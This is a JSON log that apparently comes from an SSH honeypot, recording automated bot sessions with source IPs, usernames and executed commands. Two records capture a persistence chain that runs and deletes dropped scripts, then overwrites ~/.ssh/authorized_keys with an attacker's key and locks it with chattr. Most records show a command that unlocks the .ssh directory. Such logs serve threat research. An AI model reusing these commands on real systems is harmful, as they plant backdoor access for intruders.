[
 {
  "id": "825fce80-d428-4a34-899c-8c6d10ad5b44",
  "name": "nameless-leafy-raven",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "130.12.180.51",
  "src_port": 36238,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-27T06:27:48.262777+00:00",
  "ended_at": "2026-08-27T06:27:48.487552+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 1036
 },
 {
  "id": "74526c11-02f0-421e-bc64-60a9b9ce3ee7",
  "name": "gilded-glacial-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.143.238.100",
  "src_port": 53956,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T05:47:19.457008+00:00",
  "ended_at": "2026-08-26T05:47:19.533615+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3807
 },
 {
  "id": "c0f1f91f-14eb-443c-927e-66e77cd79df1",
  "name": "golden-genial-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.224.160",
  "src_port": 56948,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 648,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T05:01:27.203810+00:00",
  "ended_at": "2026-08-26T05:01:27.406284+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3963
 },
 {
  "id": "c72c6066-3a0b-45ff-9582-797fa577a4e0",
  "name": "creaky-candid-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.190.51.254",
  "src_port": 54534,
  "username": "mysql",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 80,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T23:54:45.005639+00:00",
  "ended_at": "2026-08-25T23:54:45.156423+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3266
 },
 {
  "id": "4f297c43-5549-4b8b-91b0-0e20a94077d3",
  "name": "courtly-silent-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "66.116.242.235",
  "src_port": 53858,
  "username": "ftpsecure",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 645,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T23:02:36.705855+00:00",
  "ended_at": "2026-08-25T23:02:36.911752+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3443
 },
 {
  "id": "02d24a53-b8a1-475b-9430-57bff8df9935",
  "name": "dapper-umber-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "107.150.103.210",
  "src_port": 26246,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T21:16:25.635410+00:00",
  "ended_at": "2026-08-25T21:16:25.703055+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3446
 },
 {
  "id": "e7a6b43a-b63c-43b3-8917-d473018c1a10",
  "name": "coastal-wooded-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "221.163.5.228",
  "src_port": 38312,
  "username": "prova",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 639,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T21:16:09.535535+00:00",
  "ended_at": "2026-08-25T21:16:09.734162+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3496
 },
 {
  "id": "226ca8b8-8952-4e81-9e49-94cbe42a94be",
  "name": "leafy-curious-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "179.176.210.17",
  "src_port": 45675,
  "username": "andrew",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T21:14:31.390603+00:00",
  "ended_at": "2026-08-25T21:14:31.522244+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3935
 },
 {
  "id": "bd34f6e4-d94b-47d5-accb-f6619a1343f5",
  "name": "jovial-velvet-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.191.239.155",
  "src_port": 40632,
  "username": "noah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 71,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:08:25.924409+00:00",
  "ended_at": "2026-08-25T20:08:25.932797+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3738
 },
 {
  "id": "97698eff-26fd-483a-afc7-fc2c4f06b0dc",
  "name": "ancient-tranquil-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "185.158.22.150",
  "src_port": 32670,
  "username": "mega",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 518,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:00:52.318042+00:00",
  "ended_at": "2026-08-25T20:00:52.476609+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3539
 },
 {
  "id": "5ab389f2-2ab3-4d81-b9ca-0b4d742dd8ff",
  "name": "lunar-orderly-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.174.238.116",
  "src_port": 48254,
  "username": "noah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:00:06.348189+00:00",
  "ended_at": "2026-08-25T20:00:06.453476+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3214
 },
 {
  "id": "363f34e1-fc48-42df-a921-01e431b5c77e",
  "name": "wandering-coastal-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "124.156.173.135",
  "src_port": 51870,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 673,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T19:55:06.836657+00:00",
  "ended_at": "2026-08-25T19:55:07.041931+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3981
 },
 {
  "id": "8cb965bd-ccac-4fcb-a146-078a680bfd99",
  "name": "emerald-austere-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.190.51.254",
  "src_port": 45350,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 100,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T19:52:48.798094+00:00",
  "ended_at": "2026-08-25T19:52:48.815144+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3356
 },
 {
  "id": "0835e1bc-6be9-4a80-bbc9-f610932e6744",
  "name": "lunar-vernal-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.128.3.201",
  "src_port": 53096,
  "username": "test1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 672,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T18:49:44.037854+00:00",
  "ended_at": "2026-08-25T18:49:44.247737+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3452
 },
 {
  "id": "21a6be9d-04e1-44e7-a6fa-1e58ed3cf3d4",
  "name": "smooth-wandering-oryx",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "77.90.185.20",
  "src_port": 57298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-25T14:30:34.810048+00:00",
  "ended_at": "2026-08-25T14:30:35.596959+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 994
 },
 {
  "id": "02a89e4b-0910-4990-96c9-bce5bab983df",
  "name": "restless-vigilant-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "216.10.242.215",
  "src_port": 49222,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 618,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T12:51:28.687254+00:00",
  "ended_at": "2026-08-25T12:51:28.877929+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3437
 },
 {
  "id": "e94bbb20-9ab1-4579-83a3-b31d8d25d26c",
  "name": "snowy-prickly-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "185.158.22.150",
  "src_port": 51641,
  "username": "eric",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T12:00:45.324526+00:00",
  "ended_at": "2026-08-25T12:00:45.482622+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3891
 },
 {
  "id": "0edee1f6-c125-4bb5-8dfd-c1b37a4fc167",
  "name": "leafy-keen-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.12.221.15",
  "src_port": 46600,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T11:09:45.835620+00:00",
  "ended_at": "2026-08-25T11:09:45.928858+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3739
 },
 {
  "id": "651ec677-83a6-4d7f-b33e-6e77280c89dc",
  "name": "scarlet-candid-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.102.98.53",
  "src_port": 38006,
  "username": "es1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 65,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T09:51:04.655389+00:00",
  "ended_at": "2026-08-25T09:51:04.662733+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3254
 },
 {
  "id": "1ec638cc-b33e-4be7-8f52-047ca1789644",
  "name": "painted-idle-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "76.79.213.70",
  "src_port": 51068,
  "username": "erpnext",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 371,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T08:53:26.661515+00:00",
  "ended_at": "2026-08-25T08:53:26.784419+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4161
 },
 {
  "id": "ee9d9728-bdcb-4943-b9e5-368e21f93454",
  "name": "whispering-hazy-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "98.70.50.166",
  "src_port": 41214,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T08:52:46.484465+00:00",
  "ended_at": "2026-08-25T08:52:46.663187+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3815
 },
 {
  "id": "c9ca2c84-e599-4dfd-b40a-92acfaa16497",
  "name": "stormy-pewter-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.191.5",
  "src_port": 46574,
  "username": "redmine",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 381,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T03:04:54.158569+00:00",
  "ended_at": "2026-08-25T03:04:54.269691+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3561
 },
 {
  "id": "56ac9eba-c117-47de-ab3b-d2c92c7c4d38",
  "name": "meadow-jaunty-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "119.209.12.20",
  "src_port": 60480,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 643,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T00:51:43.073455+00:00",
  "ended_at": "2026-08-25T00:51:43.274634+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3508
 },
 {
  "id": "e43cf21d-da59-4fb6-a40a-f989fe0b0c5d",
  "name": "fleeting-marbled-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "113.161.222.150",
  "src_port": 39120,
  "username": "frontend",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T23:29:11.643837+00:00",
  "ended_at": "2026-08-24T23:29:11.885751+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 6651
 },
 {
  "id": "720af6ad-98e8-4b27-a642-3b871d4b908a",
  "name": "dapper-clever-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.165.190.208",
  "src_port": 34868,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 558,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T22:07:11.630448+00:00",
  "ended_at": "2026-08-24T22:07:11.802058+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 6826
 },
 {
  "id": "33711d99-bb98-4dec-8455-b964f5c6c109",
  "name": "ashen-languid-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.153.205.159",
  "src_port": 39638,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 782,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T22:04:42.105280+00:00",
  "ended_at": "2026-08-24T22:04:42.350865+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3989
 },
 {
  "id": "f6f3ca3f-8bb8-4346-9617-014935b9dd74",
  "name": "burly-patient-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "141.95.54.130",
  "src_port": 59206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T21:25:17.339639+00:00",
  "ended_at": "2026-08-24T21:25:17.428604+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4003
 },
 {
  "id": "3f4555b7-f2b2-4f80-be0f-522dc8d48d29",
  "name": "daring-plush-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "150.136.214.177",
  "src_port": 31390,
  "username": "feria",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 63,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T20:05:26.773233+00:00",
  "ended_at": "2026-08-24T20:05:26.779502+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3343
 },
 {
  "id": "46ec8e9e-9279-4a6b-b5ea-d2df6efaa50b",
  "name": "windswept-downy-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "121.184.144.232",
  "src_port": 55395,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 613,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T19:36:55.316711+00:00",
  "ended_at": "2026-08-24T19:36:55.506740+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3955
 },
 {
  "id": "888b5309-3f8d-4125-8ea4-144dfaf1130b",
  "name": "lunar-gritty-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.35.110.147",
  "src_port": 34518,
  "username": "accounting",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 417,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T19:09:01.642120+00:00",
  "ended_at": "2026-08-24T19:09:01.768877+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4304
 },
 {
  "id": "67d5f6ce-be29-48d2-a412-7fdabda56506",
  "name": "solemn-leafy-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "87.106.29.151",
  "src_port": 41442,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T19:09:01.160303+00:00",
  "ended_at": "2026-08-24T19:09:01.247837+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4113
 },
 {
  "id": "eef8ef1f-b5a0-4b1f-87e9-bc3ed4e4ceed",
  "name": "cobalt-quartz-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "65.181.71.117",
  "src_port": 58331,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 688,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T18:23:59.758849+00:00",
  "ended_at": "2026-08-24T18:23:59.971970+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3226
 },
 {
  "id": "bc359e45-55ba-409e-93c6-17db2ba5c4c0",
  "name": "shaded-hazy-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.12.221.15",
  "src_port": 41514,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T16:31:38.860509+00:00",
  "ended_at": "2026-08-24T16:31:38.948523+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3259
 },
 {
  "id": "1eb2e852-b7ac-4cfc-825c-6620400edb12",
  "name": "dewy-nautical-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.119.48.179",
  "src_port": 55760,
  "username": "jarservice",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T16:28:31.114422+00:00",
  "ended_at": "2026-08-24T16:28:31.203018+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3462
 },
 {
  "id": "3c7678b6-8be4-4003-89a0-62a96e45e99f",
  "name": "pewter-lucid-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.164.57.37",
  "src_port": 55784,
  "username": "crafty",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 713,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T16:21:45.170200+00:00",
  "ended_at": "2026-08-24T16:21:45.395008+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3248
 },
 {
  "id": "aa74805b-6b62-42e2-a195-3c816bfca5c4",
  "name": "brisk-vivid-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "60.199.224.2",
  "src_port": 51136,
  "username": "senthil",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 643,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T05:18:05.457080+00:00",
  "ended_at": "2026-08-24T05:18:05.656938+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3458
 },
 {
  "id": "ff4b92c2-cab9-4837-b1f0-be48191f942b",
  "name": "granite-wandering-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "5.3.154.197",
  "src_port": 33954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 409,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T04:39:09.822503+00:00",
  "ended_at": "2026-08-24T04:39:09.946537+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3490
 },
 {
  "id": "139edc25-ff78-447f-ad87-3aa1c14591d2",
  "name": "alpine-verdant-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "223.17.1.118",
  "src_port": 47578,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 692,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T03:17:41.660805+00:00",
  "ended_at": "2026-08-24T03:17:41.876558+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 6575
 },
 {
  "id": "4de63a5d-4df9-4aff-bcb2-ce12dde2b67a",
  "name": "bashful-crimson-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "190.60.43.27",
  "src_port": 53456,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T00:59:17.188346+00:00",
  "ended_at": "2026-08-24T00:59:17.266471+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3445
 },
 {
  "id": "ab1b937d-a056-4f39-9c0c-f216b9b615b6",
  "name": "nameless-murky-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "163.7.3.26",
  "src_port": 58822,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 763,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T21:19:15.453482+00:00",
  "ended_at": "2026-08-23T21:19:15.691786+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3571
 },
 {
  "id": "ca7cba1b-8799-4b4f-89e4-bcc854927458",
  "name": "brazen-creaky-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.205.57.72",
  "src_port": 58506,
  "username": "ydy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T20:59:27.183189+00:00",
  "ended_at": "2026-08-23T20:59:27.276499+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3598
 },
 {
  "id": "4f9ee073-1488-4111-9cbb-38e0d5efc383",
  "name": "gentle-vigilant-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.206.205",
  "src_port": 39924,
  "username": "m1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 306,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T20:57:33.351409+00:00",
  "ended_at": "2026-08-23T20:57:33.437313+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4163
 },
 {
  "id": "c986bc7c-a71c-45d6-a6b2-7f701a5e2d8a",
  "name": "obsidian-brazen-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "182.93.50.90",
  "src_port": 51184,
  "username": "hunter",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 663,
  "probe_flagged": 1,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T19:46:32.384549+00:00",
  "ended_at": "2026-08-23T19:46:32.585281+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4587
 },
 {
